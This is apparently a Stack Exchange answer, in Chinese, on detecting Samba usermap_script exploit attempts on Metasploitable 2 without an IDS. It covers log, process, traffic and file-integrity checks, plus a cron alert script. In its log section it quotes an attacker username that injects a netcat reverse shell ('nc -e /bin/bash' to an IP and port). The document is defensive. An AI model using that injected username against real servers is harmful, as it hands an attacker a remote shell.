无IDS系统时如何检测Samba usermap_script漏洞攻击？

刚好之前在Metasploitable 2环境里研究过这个漏洞的检测，结合你的场景给你梳理下具体方案：

一、无IDS时的落地检测思路 #

没有专门的IDS系统，我们可以从日志、进程、流量、文件完整性四个维度入手，构建轻量检测体系：

• 实时日志监控：哪怕默认Samba日志信息少，也可以用简单脚本盯着关键日志。比如用tail -f /var/log/samba/log.smbd | grep -E "(\'|\||;)"实时过滤带Shell元字符的请求，一旦出现就告警。
• 异常进程溯源：这个漏洞利用成功后，smbd进程会fork出一个新的shell（比如bash/sh），这完全不符合正常Samba服务的行为。你可以定期用ps auxf查看进程树，或者用pstree | grep smbd检查smbd的子进程，发现非预期的shell直接标记异常。
• 网络流量特征捕捉：攻击流量里必然包含带特殊元字符的用户名（比如'、|、#），可以用tcpdump抓Samba端口（139/445）的流量：tcpdump -i eth0 port 139 or 445 -A | grep -E "(\'|\||#)"，过滤出可疑的交互内容。
• 关键文件完整性校验：攻击后可能会留后门或修改系统文件，你可以定期用md5sum对比/etc/passwd、/bin/bash这类核心文件的哈希值，一旦哈希变动就触发告警。

二、/var/log下的攻击痕迹细节 #

Metasploitable 2里的日志确实藏得有点深，得找对地方看：

• Samba专属日志：默认在/var/log/samba/目录下，log.smbd是核心日志文件。你说只看到读取失败和连接重置，是因为默认日志级别太低——Samba默认只记录错误级别的信息，不会详细记录认证请求。
• 含Shell元字符的用户名会被记录吗？：肯定会！只要你调高Samba的日志级别，恶意用户名（比如'; nc -e /bin/bash 192.168.1.100 4444 #）会完整出现在log.smbd里。
• 系统日志的补充佐证：/var/log/auth.log会记录smbd的认证尝试（哪怕失败），/var/log/syslog会记录smbd进程的异常退出、连接重置事件，结合时间点和Samba日志交叉验证，就能锁定攻击行为。

三、Samba日志信息不足的解决办法 #

要让日志能帮你判定攻击，得先把Samba的日志配置调到位，再补充额外监控：

1. 调高Samba日志级别：编辑/etc/samba/smb.conf，在[global]段添加log level = 3（数字越大日志越详细，最高到10，按需调整），然后重启服务：service smbd restart。之后所有认证请求、协议交互细节都会被记录，恶意用户名再也藏不住。
2. 启用系统审计工具：给Metasploitable 2装个auditd，配置对smbd进程的系统调用审计——比如监控execve调用，一旦smbd执行了nc、bash这类非预期命令，审计日志会详细记录调用参数和进程链，这比Samba日志更有说服力。
3. 自定义日志告警脚本：写个简单的Shell脚本定时扫日志，比如：

   #!/bin/bash
   LOG_PATH="/var/log/samba/log.smbd"
   # 匹配含Shell元字符的可疑请求
   SUSPECT=$(grep -E "(\'|\||;|\$)" $LOG_PATH | tail -5)
   if [ ! -z "$SUSPECT" ]; then
       echo "发现Samba可疑请求："$SUSPECT | mail -s "Samba攻击告警" root@localhost
   fi
   

   把这个脚本加到crontab里（比如每分钟执行一次），就能自动捕捉异常并告警。

内容的提问来源于stack exchange，提问作者Nerf D